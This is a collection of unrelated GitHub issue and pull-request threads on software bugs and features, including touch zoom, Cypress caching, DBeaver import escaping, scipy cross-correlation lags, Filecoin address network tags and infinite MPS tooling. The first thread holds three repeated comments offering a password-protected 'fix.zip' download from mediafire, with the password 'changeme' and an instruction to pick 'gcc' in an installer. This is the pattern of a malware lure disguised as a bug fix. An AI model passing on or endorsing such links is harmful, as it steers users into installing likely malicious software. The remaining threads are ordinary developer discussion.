[Bug] Editor pinch to zoom gesture not working with touch

Describe the bug
Editor pinch to zoom gesture not working with finger touch
To Reproduce
Perform a pinch to zoom gesture with finger touch in Editor
Expected behavior
No issue with touchpad

Screenshots
Action performed with finger touch

Desktop (please complete the following information):

OS: Windows 11 23H2 build 22631.4037
Version 2.41 portable x64
Device : Huawei Matebook E 2022 - Huawei M-Pencil 2nd gen stylus

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."


DCOS-40640: reuse Cypress cache

With this PR we will be re-using cached Cypress installation that should reduce the build time.
Closes DCOS-40640
Testing
CI should pass.
Go inside the build and make sure we're not installing cypress for every set of tests.
This is what should not be present in the logs

Trade-offs

Dependencies

Screenshots

@nLight I am leaving this unmerged in case you want to address Brandon's comments.

:tada: This PR is included in version 2.25.1 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Capybara.save_path instead of deprecated Capybara.save_and_open_page_path

Capybara has deprecated this method here

Nice 👍 Do you know if the behavior is any different? Which version introduced save_path?

Yes it is slightly different. For example with #save_page
    #   If invoked with a relative path
    #   the path will be relative to `Capybara.save_path`, which is different from
    #   the previous behavior with `Capybara.save_and_open_page_path` where the relative path was
    #   relative to Dir.pwd

The new save_path method was added in v 2.7.0 on 4/7/16

Would this be a breaking change needing a major version bump?

@hwhelchel Sorry, forgot about this and haven't had a chance to test. It seems like the functionality is essentially the same.

no worries. thanks!


GSK-1963: ignore mixpanel errors

@mattbit the test should be fine now. It was caused by the way we run tests from pdm (by disabling analytics). That's why I wasn't having it locally (by running pytest directly)


Will package versions be specified in global.json?

Will package versions be specified in global.json?

It is very important feature.
When you set empty version constraint on project dependency it will get top latest version of package of all package sources.
But global.json can specify solution-wide constraint of package version which will use instead of latest package version.

We can think about something like this for v2. We aren't quite there yet. Maven has this with parent POMs. It might be good to understand what other package managers do in this space

Yes, maven!
I want it all. And variables, and parent/module specification. And  too!
maven can specify global variables.
I want it too.
But, global.json package varsion constraints must work implicitly, with out explicit variable definition!!!!!!!!!!!!!!!!!!!!
It must be one-to-one, project.json package varsion constraints and global.json package varsion constraints! It will be better and simpler than maven (i know maven too bad...).
Variables can be used to specify all package version to the similar value with glob project selection.
Dots recognized like path separators:

* like \w+
** like [\w\.]+
Dnx.Mvc.** can match "Dnx.Mvc" too.

This issue is being closed because it has not been updated in 3 months.
We apologize if this causes any inconvenience. We ask that if you are still encountering this issue, please log a new issue with updated information and we will investigate.


Update project

Multiple project updates, as a continuation to #54
All dependencies are at the latest version now, the project builds cleanly with no Lint errors/warnings.
Please NO GitHub rebase/squash merges. If you'd like me to combine some or all of the commits, please let me know, and I will update my branch. Thank you.

Thanks!

You're welcome :) :+1: Here is one more small update: #86


⚠ GitLab Server has degraded performance

In c5f275a, GitLab Server (https://gitlab01.its-telekom.eu) experienced degraded performance:

HTTP code: 200
Response time: 11193 ms

Resolved: GitLab Server performance has improved in 21e4c52.


Special characters in database name support

Hello,
The database import tool fails for databases that contain special characters in their name.
I discovered this problem when I was trying to import a dump sql file into a database that used ssh connection to a remote server. The database had a name containing dashes, something like "mydb-dev-api" (without quotes). When I ran the tools->import into that database it ran normally, but the log had an error, looking like this :
ERROR 1044 (42000): Access denied for user myuser@localhost
(Using localhost as the host, because the connection is established through ssh configuration)
The user has full priviledges and tested from my colleague's db client he could import data normally.
After some testing with SQL commands, I was able to realise what was wrong and reproduce an error locally. After replacing the dashes with underscores I am able to import into the remote database normally with the same configuration.
Now, if you want to reproduce the error, here's what you can do:

Create a database called my-db-
Try to import any dump file into this database
You'll get something similar to this :

C:\xampp\mysql\bin\mysql.exe
Database Import started at Wed Jun 01 15:10:17 CEST 2016
ERROR 1049 (42000): Unknown database '`my-db-`'
Database Import finished at Wed Jun 01 15:10:17 CEST 2016
Process exit code: 1The pipe is being closed

I am using Windows 10 64 bit and DBeaver Community Edition 3.6.9 and Xampp 5.6.14 local mysql  client.
As always, thank you for your support !
Best regards,
George

It is a bug.
Command line with database name shouldn't be escaped.


Configurable Logging for TestFramework & savepoint testcases

TestCase for SavePoint & enabling configurable logging in testframework.

Codecov Report

Merging #242 into dev will increase coverage by 1.56%.
The diff coverage is n/a.

@@             Coverage Diff              @@
##                dev     #242      +/-   ##
============================================
+ Coverage     33.48%   35.04%   +1.56%
- Complexity     1487     1524      +37
============================================
  Files            97       97
  Lines         23390    23390
  Branches       3840     3840
============================================
+ Hits           7831     8197     +366
+ Misses        13998    13611     -387
- Partials       1561     1582      +21

Flag
Coverage Δ
Complexity Δ

#JDBC41
34.92% <ø> (+1.53%)
1515 <ø> (+34)
:arrow_up:

#JDBC42
34.97% <ø> (+1.58%)
1521 <ø> (+39)
:arrow_up:

Impacted Files
Coverage Δ
Complexity Δ

src/main/java/microsoft/sql/DateTimeOffset.java
37.14% <0%> (-2.86%)
8% <0%> (-2%)

...om/microsoft/sqlserver/jdbc/ReaderInputStream.java
41.57% <0%> (-1.13%)
14% <0%> (-1%)

...soft/sqlserver/jdbc/SQLServerDatabaseMetaData.java
12.95% <0%> (+0.22%)
21% <0%> (+1%)
:arrow_up:

...oft/sqlserver/jdbc/SQLServerCallableStatement.java
14.07% <0%> (+0.25%)
39% <0%> (ø)
:arrow_down:

...oft/sqlserver/jdbc/SQLServerParameterMetaData.java
20.21% <0%> (+0.43%)
28% <0%> (+1%)
:arrow_up:

...om/microsoft/sqlserver/jdbc/SQLServerBulkCopy.java
45.71% <0%> (+0.5%)
184% <0%> (+1%)
:arrow_up:

...m/microsoft/sqlserver/jdbc/SQLServerStatement.java
58.67% <0%> (+0.71%)
128% <0%> (ø)
:arrow_down:

...m/microsoft/sqlserver/jdbc/SQLServerResultSet.java
24.92% <0%> (+0.91%)
173% <0%> (+3%)
:arrow_up:

...t/sqlserver/jdbc/SQLServerConnectionPoolProxy.java
14.89% <0%> (+1.06%)
13% <0%> (+1%)
:arrow_up:

...rc/main/java/com/microsoft/sqlserver/jdbc/DDC.java
25.66% <0%> (+1.11%)
42% <0%> (+3%)
:arrow_up:

... and 17 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update df06f67...991b439. Read the comment docs.


Required fields for delegated methods

When doing normal requests (not delegated) we can have Id's without the user needing to call them. With delegated methods, this is not as easy. For example:
Schema1:
User {
   id: String
}

query {
   getAllUsers(): [User]
}

Schema2:
PaymentOption {
   paymentOption: Integer
}

query {
   getPaymentOptions(userId: String): [PaymentOption]
}

SchemaStiching:
extend type User {
  paymentOptions: [PaymentOption]
}

StitchedSchemas:
User {
   id: String
   paymentOptions: [PaymentOption]
}

PaymentOption {
   paymentOption: Integer
}

query {
   getPaymentOptions(userId: String): [PaymentOption]
   getAllUsers(): [User]
}

With this schema (and our resolvers) we can do a query looking like this:
getAllUsers() {
   id
   paymentOptions
}

But if we aren't asking for id, our getAllUsers-function wont return any Id's, meaning this query wont return anything:
getAllUsers() {
   paymentOptions
}

Is there any easy way to modify the query that is being delegated to our user-system?

I believe this question is almost identical to https://github.com/apollographql/graphql-tools/issues/786. We have some related discussion there.

This may be a duplicate of #786 or you may need to just specify the fragment or new v5 selectionSet hint in mergeSchemas.
Closing for now, feel free to reopen with minimal reproduction if still relevant.


json::parse(begin, end) parse error on first character using uchar*

What is the issue you have?
Using the json::parse() function with uchar* yields in a parsing error for the very first character.
Please describe the steps to reproduce the issue.
// outImg is of type cv::Mat (with outImg.rows > 0 and outImg.cols > 0)
uchar* imgBuff = outImg.isContinuous() ? outImg.data : outImg.clone().data;
size_t imgBuffSize = outImg.rows * outImg.cols * outImg.channels();
auto rawImgStr = nlohmann::json::parse(imgBuff, imgBuff + imgBuffSize);

What is the expected behavior?
A parsed img string can be added to the json object such as:
nlohmann::json output = {
  {"image", rawImgStr},
  {"imgWidth", outImg.size().width},
  {"imgHeight", outImg.size().height},
};

std::vector<std::uint8_t> v_bson = json::to_bson(output);

And what is the actual behavior instead?
Getting this error:
[json.exception.parse_error.101] parse error at line 1, column 1: syntax error while parsing value - invalid literal; last read: 'D'

Which compiler and operating system are you using?
GCC v7.4, Linux Mint 19
Did you use a released version of the library or the version from the develop branch?
Release version: 3.7.3

What type is uchar and what encoding to you use? The library only supports UTF-8.

Oh yeah, forgot to mention that, the uchar is from opencv typedef unsigned char uchar.
And I guess the encoding is the whole problem here since the unsigned char actually represent intensity values for each pixel and channel in the range of 0-255. I guess if I want to encode that information into a json string, I'd have to map these values to valid utf-8 byte codes.
I ended up encoding the image to .jpg and create a base64 from that. That I can add to the json without any issues.


fix: scrollbar is obscured

General

✏ 滚动条所属区域貌似不是很合适，被遮挡了。请看看这样调整到内容区域是否合适？

[x] Pull request template structure not broken

Type

ℹ What types of changes does your code introduce?

👉 Put an x in the boxes that apply

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update

Checklist

ℹ Check all checkboxes - this will indicate that you have done everything in accordance with the rules in CONTRIBUTING.

👉 Put an x in the boxes that apply.

[x] My code follows the style guidelines of this project
[x] Is the code format correct
[x] Is the git submission information standard?
[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] New and existing unit tests pass locally with my changes
[ ] Any dependent changes have been merged and published in downstream modules

这个PR导致开启页脚的Body变化了。
这是没有merge这个PR前的

merge后变成了这样子

大佬能不能修复一下？


Minor update fixing two typos

@tommysundling : Thanks for your contribution! The author(s) have been notified to review your proposed change.

Looks good; thanks.


Can we override the webpack entries?

I am experimenting with a snapshot testing library, but am finding that because the output is combined into a single bundle.js, all snapshots are compiled to a single file. I have been able to get a different config working using mocha and webpack manually where I dynamically generate an entry per test file and it works fairly well with separate snapshots. However, I then lose the ability to the watch implementation in this library.  Or perhaps this is not possible because of the performance implications of watching a limitless number of files as opposed to just one.

Honestly I have no idea what are you doing :laughing: Please show some examples.
mocha-webpack overwrites webpack entries to mimic mocha's file resolution via globs.


Plain text access passwords

Not an issue per say:
When setting up a Percona Server a file is created to properly set the user passwords:
https://github.com/phlipper/chef-percona/blob/master/recipes/access_grants.rb#L4
Now from a security standpoint, even when setting the file permissions very restrictive to root only, this is not a good idea.
I am wondering if there is another solution than writing out all granted permissions into a template and then loading this file via mysql.
Besides the fact that we have a plain text file with all main passwords on disk we also were unable to change the root password. Could this be a limitation by chef itself? Once we update the password the machine does not have the old root password available in order to setup a new password, correct?
I am open for suggestions how this could be solved.

maybe giving the option for chef vault would be possible?

@whysthatso chef-vault support has been added in #261.

Closing as old issue, please reopen if this is still a problem?


ENH: Adds correlation_lags function to scipy.signal

Addresses issue #11020 by providing a way to provide an output
specific to cross-correlation, containing both correlation values
and the lags used to determine timing offset.

I think it would make more sense to have something like a return_lags keyword argument to the signal.correlate function, which uses fftconvolve behind the scenes when called with method="fft". That way, the lags would be available only when performing cross-correlations, and regardless of the method.

I think it would make more sense to have something like a return_lags keyword argument to the signal.correlate function, which uses fftconvolve behind the scenes when called with method="fft". That way, the lags would be available only when performing cross-correlations, and regardless of the method.

Sure, I agree. Will post up some changes soon.

@e-q Sorry it's been a while, but I've added some changes for returning lags from the various modes. Let me know what you think and any tweaks I should make. Thanks!

@larsoner I saw your name against other scipy.signal PRs, would you mind taking a look at this if you get a chance. Thanks!

When making calls for random number generators could you try to use a method that is common between RandomState and np.random.Generator

@peterbell10 I've added your suggestions. Let me know if there's anything I've missed out.

@peterbell10 Updated the cross reference and added your tweaks to the docstring.

@larsoner @peterbell10 how's this shaping up now? Anything further I should tweak?

Other than one minor doc nitpick, LGTM

No worries, sorted :)

@peterbell10 All green apart from a cancellation and the docs build. Should I be concerned about the docs error? Looked like a Sphinx versioning issue.

Should I be concerned about the docs error? Looked like a Sphinx versioning issue.

No, that's been fixed by Sphinx releasing 3.1.1 (see updated status; I restarted the build)

Should I be concerned about the docs error? Looked like a Sphinx versioning issue.

No, that's been fixed by Sphinx releasing 3.1.1 (see updated status; I restarted the build)

@peterbell10 @larsoner cool, do you think it’s ready to merge now?

Thanks @benjaminr !

Thanks @benjaminr !

No problem, thanks for your help!

@larsoner Just noticed the example section in the docstring isn't rendering correctly. Is there a newline missing here?
https://scipy.github.io/devdocs/generated/scipy.signal.correlation_lags.html

You might need a newline between the text and the doctest >>>. Would you open a quick follow up PR?

Guys,
I have a silly question regarding this PR. Does original scipy.signal.correlate compute cross correlation between two arrays with all lags possible within the length of the arrays, doesn't it? So, isn't the output of scipy.signal.correlate an array of correlations whose indexes represent the lags?

Guys,
I have a silly question regarding this PR. Does original scipy.signal.correlate compute cross correlation between two arrays with all lags possible within the length of the arrays, doesn't it? So, isn't the output of scipy.signal.correlate an array of correlations whose indexes represent the lags?

One issue with just taking the indices of the correlation is that the indices aren't centred around 0 with respect to the two input arrays. So that immediately removes any negative values from the lag / displacement information. Have a look at the code in the PR and you'll see how the output lag array is being adjusted with respect to the two arrays for the 3 different modes.

Guys,
I have a silly question regarding this PR. Does original scipy.signal.correlate compute cross correlation between two arrays with all lags possible within the length of the arrays, doesn't it? So, isn't the output of scipy.signal.correlate an array of correlations whose indexes represent the lags?

One issue with just taking the indices of the correlation is that the indices aren't centred around 0 with respect to the two input arrays. So that immediately removes any negative values from the lag / displacement information. Have a look at the code in the PR and you'll see how the output lag array is being adjusted with respect to the two arrays for the 3 different modes.

Indeed, you're right. Thanks for clarifying. Apropos, when is it going to be available in a official release? Only in 1.6.0 ?

Only in 1.6.0 ?

That seems likely, we don't normally backport enhancements to release branches (usually just bug fixes).


JOIN task is made async

Pull Request type

[ ] Bugfix
[x] Feature
[ ] Refactoring (no functional changes, no api changes)
[ ] Build related changes (Please run ./gradlew generateLock saveLock to refresh dependencies)
[ ] WHOSUSING.md
[ ] Other (please describe):

NOTE: Please remember to run ./gradlew spotlessApply to fix any format violations.
Changes in this PR
The JOIN task is made async and will be evaluated by the async system task executor and the system task workers off the JOIN task queue. This improves the efficiency of workflow evaluations because the workflow will now be evaluated only after the JOIN task reaches a terminal state rather than for every forked task update leading to empty evaluations.

Hi~ Make JOIN task async causing a problem.Can anyone fix it or just make JOIN sync ?#3528


Failes when trying to parse .doc on Linux

I get this error when trying to parse a .doc file on my application on Heroku (Linux), so it uses antiword
Error: file named [[ textract_file_23063383517 ]] does not appear to really be a .doc file
But I can read it just fine on my OSX machine with textutil
I used this https://github.com/bricel/heroku-buildpack-antiword to install antiword on Heroku

Closing this in favor of #94 which I believe is the same root issue.


ZHA mode

Hi to everybody,
after passing to ZHA mode, the hub doesen't work properly: it results offline and therefore I cannot add anything. Where i'm wronging?
Thanks
Logger: custom_components.xiaomi_gateway3.core.mini_miio
Source: custom_components/xiaomi_gateway3/core/mini_miio.py:157
Integration: Xiaomi Gateway 3 (documentation, issues)
First occurred: 13:54:09 (2 occurrences)
Last logged: 13:54:15
<IP_ADDRESS> | Device offline

Just for info, Inoticed this error too.
Logger: aiohttp.server
Source: custom_components/xiaomi_gateway3/util/elelabs_ezsp_utility.py:182
Integration: Xiaomi Gateway 3 (documentation, issues)
First occurred: 13:47:58 (2 occurrences)
Last logged: 13:48:14
Error handling request
Traceback (most recent call last):
File "/srv/homeassistant/lib/python3.8/site-packages/aiohttp/web_protocol.py", line 422, in _handle_request
resp = await self._request_handler(request)
File "/srv/homeassistant/lib/python3.8/site-packages/aiohttp/web_app.py", line 499, in _handle
resp = await handler(request)
File "/srv/homeassistant/lib/python3.8/site-packages/aiohttp/web_middlewares.py", line 119, in impl
return await handler(request)
File "/srv/homeassistant/lib/python3.8/site-packages/homeassistant/components/http/security_filter.py", line 56, in security_filter_middleware
return await handler(request)
File "/srv/homeassistant/lib/python3.8/site-packages/homeassistant/components/http/request_context.py", line 18, in request_context_middleware
return await handler(request)
File "/srv/homeassistant/lib/python3.8/site-packages/homeassistant/components/http/auth.py", line 135, in auth_middleware
return await handler(request)
File "/srv/homeassistant/lib/python3.8/site-packages/homeassistant/components/http/view.py", line 131, in handle
result = await result
File "/srv/homeassistant/lib/python3.8/site-packages/homeassistant/components/config/config_entries.py", line 213, in post
return await super().post(request, flow_id)
File "/srv/homeassistant/lib/python3.8/site-packages/homeassistant/components/http/data_validator.py", line 63, in wrapper
result = await method(view, request, *args, **kwargs)
File "/srv/homeassistant/lib/python3.8/site-packages/homeassistant/helpers/data_entry_flow.py", line 109, in post
result = await self._flow_mgr.async_configure(flow_id, data)
File "/srv/homeassistant/lib/python3.8/site-packages/homeassistant/data_entry_flow.py", line 199, in async_configure
result = await self._async_handle_step(flow, cur_step["step_id"], user_input)
File "/srv/homeassistant/lib/python3.8/site-packages/homeassistant/data_entry_flow.py", line 257, in _async_handle_step
result: FlowResult = await getattr(flow, method)(user_input)
File "/home/homeassistant/.homeassistant/custom_components/xiaomi_gateway3/config_flow.py", line 233, in async_step_user
if not await utils.update_zigbee_firmware(
File "/home/homeassistant/.homeassistant/custom_components/xiaomi_gateway3/core/utils.py", line 192, in update_zigbee_firmware
return await hass.async_add_executor_job(
File "/usr/local/lib/python3.8/concurrent/futures/thread.py", line 57, in run
result = self.fn(*self.args, **self.kwargs)
File "/home/homeassistant/.homeassistant/custom_components/xiaomi_gateway3/core/utils.py", line 176, in _update_zigbee_firmware
resp = utils.probe()
File "/home/homeassistant/.homeassistant/custom_components/xiaomi_gateway3/util/elelabs_ezsp_utility.py", line 324, in probe
ezsp_status = ezsp.initEzspProtocol()
File "/home/homeassistant/.homeassistant/custom_components/xiaomi_gateway3/util/elelabs_ezsp_utility.py", line 300, in initEzspProtocol
ash_status = self.ash.sendResetFrame()
File "/home/homeassistant/.homeassistant/custom_components/xiaomi_gateway3/util/elelabs_ezsp_utility.py", line 182, in sendResetFrame
status, response = self.getResponse()
ValueError: too many values to unpack (expected 2)

Other usefull info, the following are the info give by ZHA about the coordinator:
EZSP = Silicon Labs EmberZNet protocol: Elelabs, HUSBZB-1, Telegesis
da ZHA
Zigbee info
IEEE: 84:2e:14:ff:fe:53:7c:b9
Nwk: 0x0000
Device Type: Coordinator
LQI: Unknown
RSSI: Unknown
Ultima visualizzazione: 2021-04-09T17:54:57
Sorgente di alimentazione: Mains
Quirk: bellows.zigbee.application.EZSPCoordinator
I believe that the Unknown values for LQI and RSSI are very strange!

Reboot gateway

Done! Nothing changed, info related to LQI and RSSI are the same

Maybe you have wrong wifi router setting or unstabile connection. Maybe you have zigbee2mqtt that breakes ZHA mode

Is the problem still relevant?

I do not know because I do not use the GW3 for zigbee devices: it is inpossible to pair with it!


Tag address for the right network.

Issue summary

The code in fvm_shared::address uses Mainnet as the default network tag. It doesn't prevent us from using calibnet but it is far from ideal. We need the tag to match the network set by the --chain flag.
I see two options:

Submit a PR to fvm_shared that lets the default network be selectable at run-time.
Create a wrapper around fvm_shared::address::Address that picks the right network tag.

I think the first solution is preferable since there are many other crates (ie the FVM) that uses the Address type and it might be important that the tag is always set correctly.
Other information and links

I see there is fn set_network(&mut self, network: Network) -> &mut Self in Address but its API does not support chaining like Address::new_id(1).set_network(Network::Testnet) which requires the signature to be fn set_network(mut self, network: Network) -> Self

Indeed. That is option 2.

I think it's still requires a good amount of code change from our side to pass the cli arg down the stream, how about this idea, having a AppContext
struct AppContext {
    network: RwLock<Network>
}

impl AppContext {
  pub fn instance() -> &static Self {
    once_cell::new()
   ...
  }

  pub fn new_address_with_id(id) -> Address;
}

Yes, passing in the network type to every function is not feasible.
It's not necessary to use an RwLock, though. We can store the network type in a global atomic variable.
The fundamental problem is whether this will be sufficient. The FVM will not call our wrapped functions and will still create addresses with the wrong tag.

I c, so the question is about whether putting this AtomicU8 or AtomicBool network id in our code base or in their code base.  Personally, I feel it's kinda out of scope and a little tricky for a library to introduce such a way to override its defaults but we can try.  As for Opt 2, I searched in the code base and found 106 usages, it's a lot but I think I can take this one and update them all

I c, so the question is about whether putting this AtomicU8 or AtomicBool network id in our code base or in their code base. Personally, I feel it's kinda out of scope and a little tricky for a library to introduce such a way to override its defaults but we can try. As for Opt 2, I searched in the code base and found 106 usages, it's a lot but I think I can take this one and update them all, and this AppContext is extensible to more similar cases for the future

Replacing the 106 usages in our code might not be enough, though. There are external crates (like the FVM) that will still create addresses with the hard-coded network type.

Sry I accidentaly clicked on edit to your reply : (

external crates (like the FVM) that will still create addresses with the hard-coded network type

Got it. If that's the case, it's definitely some design defect for a library that needs to be fixed

Sry I accidentaly clicked on edit to your reply : (

external crates (like the FVM) that will still create addresses with the hard-coded network type

Got it. If that's the case, it's definitely some design defect for a library that needs to be fixed

It's basically a copy&paste mistake. The fvm_shared::address code used to be part of Forest and we set the network type at compile-time (like with Lotus, a compile-time flag was the only way to switch between mainnet and calibnet). Now the FVM people have copied the code and hard-coded the network type to always be mainnet.

Do you have an example so that we can justify the change we propose?

I do not. They are aware that this is a problem, though. Here's in code in question:
// TODO pull network from config (probably)
// TODO: can we do this using build flags?
pub const NETWORK_DEFAULT: Network = Network::Mainnet;

Got it, that should be sufficient. I can look into fixing this

Hey @lemmih the upstream PR https://github.com/filecoin-project/ref-fvm/pull/923 has been merged.  Should we wait for new releases of fvm* and fil* crates or upgrade to their dev versions?

Hey @lemmih the upstream PR filecoin-project/ref-fvm#923 has been merged. Should we wait for new releases of fvm* and fil* crates or upgrade to their dev versions?

Great. That was faster than I expected. Why did you use fetch_update rather than store, btw?
Let's wait for the next stable release of the FVM crates. I'll mark this issue as blocked until then.

Let's wait for the next stable release of the FVM crates.

Got it.

Why did you use fetch_update rather than store, btw?

Yeah that's definitely the better API to use, I will send another PR to fix it

@hanabi1224 I think the fix was released as part of fvm_shared-2.0. Could you verify to make sure and then close this issue?

@hanabi1224 We probably need to call set_current_network in Forest.

@hanabi1224 Hm, no, I was wrong. It hasn't been released yet. It'll be part of fvm_shared-3.0 which still isn't out.

Yeah just confirmed it's part of (fvm_shared v3.0.0-alpha.11)[https://docs.rs/fvm_shared/3.0.0-alpha.11/fvm_shared/address/fn.set_current_network.html] but not in 2.0

No longer blocked. @hanabi1224, could you verify that everything works as it should now?

Sry for some reason I missed the notification, will take a look

@hanabi1224 Try creating a new address, funding it from the faucet, and printing the wallet balance. If that works without a hitch then we can close this issue.

As discussed, this ticket could be closed by https://github.com/ChainSafe/forest/pull/2376


Add basic tracking; need to build tests

Added Candy Cane Sword Cane skills - Surprisingly Sweet Slash and Surprisingly Sweet Stab.
Created tracking for daily limits.
Draft until I can write tests.

@Ignose how's it looking?

@Ignose how's it looking?

It isn't. I don't understand HTML or historical tests enough to parse what's happening or what I'm meant to be doing.


Go: Add childof edges for function calls and receiver declarations. [phab:D1217]

Created by fromberger at 2017-01-05 02:04:19:
Also: Generate edge labels for indexed parameter edges.
Support: Add ParamIndex function to the schema library.

shahms wrote at 2017-01-05 16:55:27:
I'm sending you a CL to avoid linting go files under /testdata/

shahms accepted this revision at 2017-01-05 16:55:49

fromberger closed via commit b772f5a9cffa50d9b9681ae3fa38c6a7201d64b4 at 2017-01-05 17:11:24


GetFolderPath Arg_NullReferenceException release build

Not sure if anyone can help me get past this latest error. I'm using my own fork for the GUID problem.
Any help would be appreciated. Not sure what is null or how to prop it up so I can get in the store.
Stack trace...
Message=Arg_NullReferenceException: Stack= System.NullReferenceException: Arg_NullReferenceException
at Microsoft.Data.Sqlite.Utilities.ApplicationDataHelper.GetFolderPath(String propertyName)
at Microsoft.Data.Sqlite.Utilities.ApplicationDataHelper.<>c.<.cctor>b__12_2()
at NuPark.Mobile!+0x19a9d93
at NuPark.Mobile!+0x1acabb4
at NuPark.Mobile!+0x1acad29
at System.Lazy<System.Object>.get_Value()
at Microsoft.Data.Sqlite.Interop.NativeMethods.OnLoad()
at Microsoft.Data.Sqlite.Interop.NativeMethods.get_Sqlite3()
at Microsoft.Data.Sqlite.Interop.NativeMethods.sqlite3_open_v2(String filename, Data.Sqlite.Interop.Sqlite3Handle& ppDb, Int32 flags, String vfs)
at Microsoft.Data.Sqlite.SqliteConnection.Open()
at Microsoft.EntityFrameworkCore.Storage.RelationalConnection.Open()
at Microsoft.EntityFrameworkCore.Storage.Internal.SqliteRelationalConnection.Open()
at Microsoft.EntityFrameworkCore.Storage.Internal.SqliteDatabaseCreator.Exists()
at Microsoft.EntityFrameworkCore.Storage.RelationalDatabaseCreator.EnsureCreated()

cc @MattWhilden

Is this unique to ARM release builds? Or does it also happen on x86/x64 release builds?
Also, does your fork contain the right runtime directives (rd.xml)? See Microsoft.Data.Sqlite.rd.xml

I will test the other architectures and let you know.
Yes the RD's are in place for both types on my build.
Thanks!

Ok, it is throwing this same error on all platforms.

A few more ideas before we go to a more "hands on" approach. I have some questions and a pseudo flow chart below. We may end up needing an ilcRepro file.

Does this problem repro when you disable .NET Native compilation? (Project Properties > BUILD > Enable .NET Native checkbox)
Does this problem repro when you run in the DEBUG configuration but with .NET Native enabled? (same box as above)

If the first answer is YES then the problem is somewhere in your code or the library and I'll be pretty useless.
If the answers are NO and YES we'll get a much better exception message from the DEBUG build which can help point us to a likely culprit. Probably an issue with .NET Native but will need some more investigation.
If the answers are NO and NO then it'll be a .NET Native optimizer bug and you'll definitely need us to help out.
Happy to help. Do let us know.

EF Team Triage: Closing this issue as the requested additional details have not been provided and we have been unable to reproduce it.


Generalize infsiteinds to fractional QN densities

Hej Mat,
A minor update to fix the issue #68
I am using it as an excuse to ask how to proceed with the following.
On my own fork, I have finished the implementations of a few useful features (paper coming out soon using it). This includes, from trivial to less trivial:

SU(3) and SU(4) irrep using color conservation (nothing non-Abelian)
some small fixes in general
implementation of a few convenient functions for data analysis (QN-resolved analysis of ent spectrum, transfer matrix spectrum + some correlation functions)
a working iDMRG for InfiniteMPOMatrix
a working InfiniteMPO constructed from an InfiniteMPOMatrix
a working iDMRG for InfiniteMPO
compression of iMPOs using InfiniteMPOMatrix and the approach by Parker, Cao et Zaletel in Phys.Rev.B 102 . It is not yet fully benchmarked so that should clearly be experimental , especially as it is the simplest, non-fail proof version.
I also plan to do this week some modifications on the subspace expansion as I cannot afford the default version in my new project (the one that required the compression of iMPOs)

It might be a lot for a single merge request. So how would you like to proceed? It will take me one or two weeks anyway to make things a bit cleaner.

The failure does not seem to come from my code but from the new @require.

Thanks for the fix @LHerviou! @nbaldelli, does this address #68 for your use case?
It sounds like an impressive list of features you've developed. My main reaction is that I am trying to minimize my maintenance burden from this package and others so I can focus on the development of ITensorNetworks.jl, which has our next generation MPS, TTN, and PEPS/general TN solver and evolution code, using a graph-inspired interface for tensor networks. My goal there is to take lessons from this package like the CelledVector design and design a general infinite tensor network type, with infinite MPS/VUMPS just as a special case.
So with that in mind, let me go through your list:

SU(3) and SU(4) irrep using color conservation (nothing non-Abelian)

Can this just be shared as an example code for others interested in using that? It doesn't sound like it requires modifications to VUMPS/InfiniteMPS itself.

some small fixes in general

General small fixes would definitely be appreciated (maybe split up into PRs with fixes that are thematically similar).

implementation of a few convenient functions for data analysis (QN-resolved analysis of ent spectrum, transfer matrix spectrum + some correlation functions)

I was hoping to provide this kind of functionality as examples at first, and think of this package as more bare-bones. For example, my goal was to provide an InfiniteMPS type and VUMPS but not much else, but provide examples and a nice interface so people can do that kind of thing (measurements and analysis of the infinite MPS) themselves. Also, I was hoping that by making it easy to slice an infinite MPS into a finite MPS then users can leverage finite MPS tools from ITensors.jl to perform many useful operations for analyzing the state. The developer burden of maintaining and improving the MPS/MPO code in ITensors.jl was immense. Things are more stable in that package now, but since I am trying to push the development of ITensorNetworks.jl as a replacement for the existing MPS/MPO code in ITensors.jl (and ultimately a replacement for this package), and also maintain the other packages in the ITensors.jl ecosystem, I don't want to double that effort by providing and maintaining too many features in this package. So I think it is best to share specialized tools like that in examples unless there is something that crosses the threshold of being very general and that has multiple use cases. If anything, my goal would be to try to compress the code of this package where possible, as I discuss below.

a working iDMRG for InfiniteMPOMatrix

That sounds great. I would appreciate a PR for that. If the code is simple and it is well tested it would make sense to include in this package. However, I think we should either choose InfiniteMPO or InfiniteMPOMatrix and stick with that, or make the codes only very minimally different, in order to minimize maintenance burden.

a working InfiniteMPO constructed from an InfiniteMPOMatrix

That sounds useful. I think it is unfortunate how many different MPO formats there are in this package, and makes maintaining the package challenging. I think it would be best if we stuck with just one external format if possible, and a minimal number of internal formats, and try to design it so that we just have one version of VUMPS/iDMRG to maintain, optimize, etc. For example, perhaps you can appreciate the challenges involved given the number of performance PRs I had to make: #56, #64, #65, #67. I think this would have been largely unnecessary if we had one VUMPS implementation with a single infinite MPO format. Do you think at this point we can just go with one format? Is there a reason to keep around both InfiniteMPO and InfiniteMPOMatrix? Additionally, I think we should drop support for InfiniteSum{MPO}/InfiniteSum{ITensor} since I would hope those become largely unnecessary with good support for a single infinite MPO of some form.

a working iDMRG for InfiniteMPO

Same comments as above.

compression of iMPOs using InfiniteMPOMatrix and the approach by Parker, Cao et Zaletel in Phys.Rev.B 102 . It is not yet fully benchmarked so that should clearly be experimental , especially as it is the simplest, non-fail proof version.

I think @JanReimers has a version of that algorithm working in ITensorMPOCompression.jl. Can you join forces on that? @JanReimers, is the infinite MPO version working?

I also plan to do this week some modifications on the subspace expansion as I cannot afford the default version in my new project (the one that required the compression of iMPOs)

